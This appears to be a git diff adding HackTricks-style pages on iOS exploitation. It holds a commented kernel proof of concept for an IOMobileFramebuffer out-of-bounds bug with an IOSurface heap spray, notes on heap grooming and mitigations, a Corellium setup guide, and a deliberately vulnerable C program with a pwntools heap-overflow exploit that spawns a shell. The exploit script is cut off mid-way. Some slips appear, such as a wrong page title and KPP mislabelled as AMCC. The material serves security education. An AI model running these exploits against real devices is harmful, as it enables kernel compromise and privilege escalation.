0x41414141; // **Attacker-controlled index** → OOB pointer lookup + + // 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). + uint64_t output_scalars[4] = { 0 }; + uint32_t output_scalars_size = 1; + + printf("call s_default_fb_surface\n"); + + // 5) Invoke external method #83. + // On vulnerable builds, this path ends up calling: + // IOMobileFramebufferUserClient::s_displayed_fb_surface(...) + // → IOMobileFramebufferLegacy::get_displayed_surface(...) + // which uses our index to read a pointer and then passes it as IOSurface*. + // If the pointer is bogus, IOSurface code will dereference it and the kernel + // will panic (DoS). + ret = IOConnectCallMethod( + shared_user_client_conn, + 83, // **Selector 83**: vulnerable external method + scalars, 1, // input scalars (count = 1; the OOB index) + NULL, 0, // no input struct + output_scalars, &output_scalars_size, // optional outputs + NULL, NULL); // no output struct + + // 6) Check the call result. On many vulnerable targets, you'll see either + // KERN_SUCCESS right before a panic (because the deref happens deeper), + // or an error if the call path rejects the request (e.g., entitlement/type). + if (ret != KERN_SUCCESS) { + printf("failed to call external method: 0x%x --> %s\n", + ret, mach_error_string(ret)); + return; + } + + printf("external method returned KERN_SUCCESS\n"); + + // 7) Clean up the user client connection handle. + IOServiceClose(shared_user_client_conn); + printf("success!\n"); +} +``` + +## Arbitrary Read PoC Explained + +1. **Opening the right user client** + +- `get_appleclcd_uc()` finds the **AppleCLCD** service and opens **user client type 2**. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes **selector 83**, the vulnerable method. **This is your entry to the bug.** E_POC/) + +**Why 83 matters:** the decompiled path is: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ + → `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ + → `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ + Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**. + +- **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow. + +3. **The "offset/8" trick (what that index really is)** + +- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`. + +- **Why divide by 8?** The kernel does **`base + index*8`** to compute which **pointer-sized slot** to read. You're picking **"slot number N"**, not a byte offset. **Eight bytes per slot** on 64-bit. + +- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.** + +4. **What selector 83 returns (this is the subtle part)** + +- The call is: + + `IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, + output_scalars, &output_scalars_size, NULL, NULL);`o + +- Internally, after the OOB pointer fetch, the driver calls\ + **`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation. + +**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like: + +- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and + +- **`s_create_port_from_surface` (method 35)** if you need the inverse.\ + Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: + +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { + kern_return_t ret; + io_connect_t shared_user_client_conn = MACH_PORT_NULL; + int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ + // (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + + // Find the **AppleCLCD** service in the IORegistry. + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, + IOServiceMatching("AppleCLCD")); + if(service == MACH_PORT_NULL) { + printf("[-] failed to open service\n"); + return MACH_PORT_NULL; + } + printf("[*] AppleCLCD service: 0x%x\n", service); + + // Open a user client connection to AppleCLCD with the chosen **type**. + ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); + if(ret != KERN_SUCCESS) { + printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); + return MACH_PORT_NULL; + } + printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); + return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { + kern_return_t ret; + + // The method takes a single 32-bit scalar that it uses as an index. + uint64_t scalars[1] = { 0x0 }; + scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + + // #83 returns one scalar. In this flow it will be the Mach port name + // (a u32 handle in our task), not a kernel pointer. + uint64_t output_scalars[1] = { 0 }; + uint32_t output_scalars_size = 1; + + io_connect_t appleclcd_uc = get_appleclcd_uc(); + if (appleclcd_uc == MACH_PORT_NULL) { + return 0; + } + + // Call external method 83. Internally: + // ptr = *(this + 0xA58 + index*8); // OOB pointer fetch + // IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) + // which creates a send right for that object and writes its port name + // into output_scalars[0]. If ptr is junk → deref/panic (DoS). + ret = IOConnectCallMethod(appleclcd_uc, 83, + scalars, 1, + NULL, 0, + output_scalars, &output_scalars_size, + NULL, NULL); + + if (ret != KERN_SUCCESS) { + printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); + return 0; + } + + // This is the key: you get back a Mach port name (u32) to whatever + // object was at that OOB slot (ideally an IOSurface you sprayed). + printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); + return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { + char data[0x10]; + memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + + // Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). + io_connect_t iosurface_uc = get_iosurface_root_uc(); + if (iosurface_uc == MACH_PORT_NULL) { + printf("[-] do_spray: failed to allocate new iosurface_uc\n"); + return false; + } + + // Create many IOSurfaces and use set_value / value spray helpers + // (Brandon Azad-style) to fan out allocations in kalloc. ⭐ + int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); + for (size_t i = 0; i < SURFACES_COUNT; ++i) { + surface_ids[i] = create_surface(iosurface_uc); // s_create_surface + if (surface_ids[i] <= 0) { + return false; + } + + // Spray small values repeatedly: tends to allocate/fill predictable + // kalloc regions near where the IOMFB table OOB will read from. + // The “with_gc” flavor forces periodic GC to keep memory moving/packed. + if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], + 20, 200, // rounds, per-round items + data, sizeof(data), + NULL) == false) { + printf("iosurface spray failed\n"); + return false; + } + } + return true; +} + +int main(void) { + // Ensure we can talk to IOSurfaceRoot (some helpers depend on it). + io_connect_t iosurface_uc = get_iosurface_root_uc(); + if (iosurface_uc == MACH_PORT_NULL) { + return 0; + } + + printf("[*] do spray\n"); + if (do_spray() == false) { + printf("[-] shape failed, abort\n"); + return 1; + } + printf("[*] spray success\n"); + + // Trigger the OOB read. The magic constant chooses a pointer-slot + // far beyond the legit array (offset is in bytes; index = offset/8). + // If the spray worked, this returns a **Mach port name** (handle) to one + // of your sprayed IOSurfaces; otherwise it may crash. + printf("[*] trigger\n"); + trigger_oob(0x1200000 + 0x1048); + return 0; +} +``` + +## References +- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..4f31626fa --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,276 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. + - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. +- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. +- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. +- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. +- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. +- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. +- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones." +Each zone only stores allocations of a single size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Small structs, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. | +| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. | +| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. | + +**How it worked:** +- Each allocation request gets **rounded up** to the nearest zone size. + (E.g., a 50-byte request lands in the `kalloc.64` zone). +- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone. +- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**. + +This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class. + +### The freelist + +Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks. + +- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone. + +- The zone kept a HEAD pointer to the first free chunk. + +- Allocation always used the current HEAD: + + 1. Pop HEAD (return that memory to the caller). + + 2. Update HEAD = HEAD->next (stored in the freed chunk’s header). + +- Freeing pushed chunks back: + + - `freed_chunk->next = HEAD` + + - `HEAD = freed_chunk` + +So the freelist was just a linked list built inside the freed memory itself. + +Normal state: + +``` +Zone page (64-byte chunks for example): + [ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: + HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL + (next ptrs stored at start of freed chunks) +``` + +### Exploiting the freelist + +Because the first 8 bytes of a free chunk = freelist pointer, an attacker could corrupt it: + + 1. **Heap overflow** into an adjacent freed chunk → overwrite its “next” pointer. + + 2. **Use-after-free** write into a freed object → overwrite its “next” pointer. + +Then, on the next allocation of that size: + + - The allocator pops the corrupted chunk. + + - Follows the attacker-supplied “next” pointer. + + - Returns a pointer to arbitrary memory, enabling fake object primitives or targeted overwrite. + +Visual example of freelist poisoning: + +``` +Before corruption: + HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: + HEAD ──► [ F1 ] + (next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` + +This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) + - Over time, the kernel heap gets fragmented: some zones have holes where old + objects were freed. + - The attacker first makes lots of dummy allocations to fill these gaps, so + the heap becomes “packed” and predictable. + +2. Force new pages + - Once the holes are filled, the next allocations must come from new pages + added to the zone. + - Fresh pages mean objects will be clustered together, not scattered across + old fragmented memory. + - This gives the attacker much better control of neighbors. + +3. Place attacker objects + - The attacker now sprays again, creating lots of attacker-controlled objects + in those new pages. + - These objects are predictable in size and placement (since they all belong + to the same zone). + +4. Free a controlled object (make a gap) + - The attacker deliberately frees one of their own objects. + - This creates a “hole” in the heap, which the allocator will later reuse for + the next allocation of that size. + +5. Victim object lands in the hole + - The attacker triggers the kernel to allocate the victim object (the one + they want to corrupt). + - Since the hole is the first available slot in the freelist, the victim is + placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim + - Now the attacker has attacker-controlled objects around the victim. + - By overflowing from one of their own objects (or reusing a freed one), they + can reliably overwrite the victim’s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from + the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits + next to it. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple hardened the allocator and made **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects. +- **Now**: + - Kernel objects are allocated from **typed zones** (`kalloc_type`). + - Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size. + - The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: + 1. Try per-CPU cache. + 2. If empty, pull from the global freelist. + 3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). + - Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. + - This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you can’t modify all of kernel memory: + - **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. + - On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they don’t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel. + +But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. + - If found → return one. + - If empty → go to global freelist. + - If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data won’t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..e36e4ed02 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,84 @@ +# iOS How to Connect to Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Prereqs** +- A Corellium iOS VM (jailbroken or not). In this guide we assume you have access to Corellium. +- Local tools: **ssh/scp**. +- (Optional) **SSH keys** added to your Corellium project for passwordless logins. + + +## **Connect to the iPhone VM from localhost** + +### A) **Quick Connect (no VPN)** +0) Add you ssh key in **`/admin/projects`** (recommended). +1) Open the device page → **Connect** +2) **Copy the Quick Connect SSH command** shown by Corellium and paste it in your terminal. +3) Enter the password or use your key (recommended). + +### B) **VPN → direct SSH** +0) Add you ssh key in **`/admin/projects`** (recommended). +1) Device page → **CONNECT** → **VPN** → download `.ovpn` and connect with any VPN client that supports TAP mode. (Check [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.) +2) SSH to the VM’s **10.11.x.x** address: +```bash +ssh root@10.11.1.1 +``` + +## **Upload a native binary & execute it** + +### 2.1 **Upload** +- If Quick Connect gave you a host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` + +- If using VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` + +## **Upload & install an iOS app (.ipa)** + +### Path A — **Web UI (fastest)** +1) Device page → **Apps** tab → **Install App** → pick your `.ipa`. +2) From the same tab you can **launch/kill/uninstall**. + +### Path B — **Scripted via Corellium Agent** +1) Use the API Agent to **upload** then **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { + console.log(progress, status); +}); +``` + +### Path C — **Non-jailbroken (proper signing / Sideloadly)** +- If you don’t have a provisioning profile, use **Sideloadly** to re-sign with your Apple ID, or sign in Xcode. +- You can also expose the VM to Xcode using **USBFlux** (see §5). + + +- For quick logs/commands without SSH, use the device **Console** in the UI. + +## **Extras** + +- **Port-forwarding** (make the VM feel local for other tools): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` + +- **LLDB remote debugging**: use the **LLDB/GDB stub** address shown at the bottom of the device page (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: present the VM to **Xcode/Sideloadly** like a cabled device. + + +## **Common pitfalls** +- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs won’t launch. +- **Quick Connect vs VPN**: Quick Connect is simplest; use **VPN** when you need the device on your local network (e.g., local proxies/tools). +- **No App Store** on Corellium devices; bring your own (re)signed IPAs. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..7f66c54d2 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,213 @@ +# iOS How to Connect to Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code + +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { + puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { + puts("[+] win() reached — spawning shell..."); + fflush(stdout); + system("/bin/sh"); + exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { + cb_t cb; // <--- Your target: overwrite this with win() + char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { + perror(msg); + exit(1); +} + +int main(void) { + // Make I/O deterministic + setvbuf(stdout, NULL, _IONBF, 0); + + // Print address leak so exploit doesn't guess ASLR + printf("[*] LEAK win() @ %p\n", (void*)&win); + + // 1) Allocate the overflow buffer + size_t buf_sz = 128; + char *buf = (char*)malloc(buf_sz); + if (!buf) fatal("malloc buf"); + memset(buf, 'A', buf_sz); + + // 2) Allocate the hook object (likely adjacent in same magazine/size class) + hook_t *h = (hook_t*)malloc(sizeof(hook_t)); + if (!h) fatal("malloc hook"); + h->cb = safe_cb; + memcpy(h->tag, "HOOK-OBJ", 8); + + // A tiny bit of noise to look realistic (and to consume small leftover holes) + void *spacers[16]; + for (int i = 0; i < 16; i++) { + spacers[i] = malloc(64); + if (spacers[i]) memset(spacers[i], 0xCC, 64); + } + + puts("[*] You control a write into the 128B buffer (no bounds check)."); + puts("[*] Enter payload length (decimal), then the raw payload bytes."); + + // 3) Read attacker-chosen length and then read that many bytes → overflow + char line[64]; + if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); + unsigned long n = strtoul(line, NULL, 10); + + // BUG: no clamp to 128 + ssize_t got = read(STDIN_FILENO, buf, n); + if (got < 0) fatal("read"); + printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + + // 4) Trigger: call the hook's callback + puts("[*] Calling h->cb() ..."); + h->cb(); + + puts("[*] Done."); + return 0; +} +``` + +Compile it with: + +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` + + +## Exploit + +> [!WARNING] +> This exploit is setting the env variable `MallocNanoZone=0` to disable the NanoZone. This is needed to get adjacent allocations when calling `malloc`with small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected. + +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': + context.clear(arch='aarch64') +else: + context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): + m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) + if not m: + log.failure("Couldn't parse leak") + sys.exit(1) + return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): + # We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] + padding = b'A' * 128 + if extra_pad: + padding += b'B' * extra_pad + # Add the win address to overwrite the function pointer + payload = padding + p64(win_addr) + return payload + +def main(): + # On macOS, we need to disable the Nano zone for adjacent allocations + import os + env = os.environ.copy() + env['MallocNanoZone'] = '0' + + # The correct padding with MallocNanoZone=0 is 432 bytes + # This makes the total distance 560 bytes (128 buffer + 432 padding) + # Try the known working value first, then alternatives in case of heap variation + candidates = [ + 432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) + 424, # Try slightly less in case of alignment differences + 440, # Try slightly more + 416, # 16 bytes less + 448, # 16 bytes more + 0, # Direct adjacency (unlikely but worth trying) + ] + + log.info("Starting heap overflow exploit for macOS...") + + for extra in candidates: + log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") + p = process(BIN, env=env) + + # Read leak line + leak_line = p.recvline() + win_addr = parse_leak(leak_line) + log.success(f"win() @ {hex(win_addr)}") + + # Skip prompt lines + p.recvuntil(b"Enter payload length") + p.recvline() + + # Build and send payload + payload = build_payload(win_addr, extra_pad=extra) + total_len = len(payload) + + log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + + # Send length and payload + p.sendline(str(total_len).encode()) + p.send(payload) + + # Check if we overwrote the function pointer successfully + try: + output = p.recvuntil(b"Calling h->cb()", timeout=0.5) + p.recvline(timeout=0.5) # Skip the "..." part + + # Check if we hit win() + response = p.recvline(timeout=0.5) + if b"win() reached" in response: + log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") + log.success("Shell spawned, entering interactive mode...") + 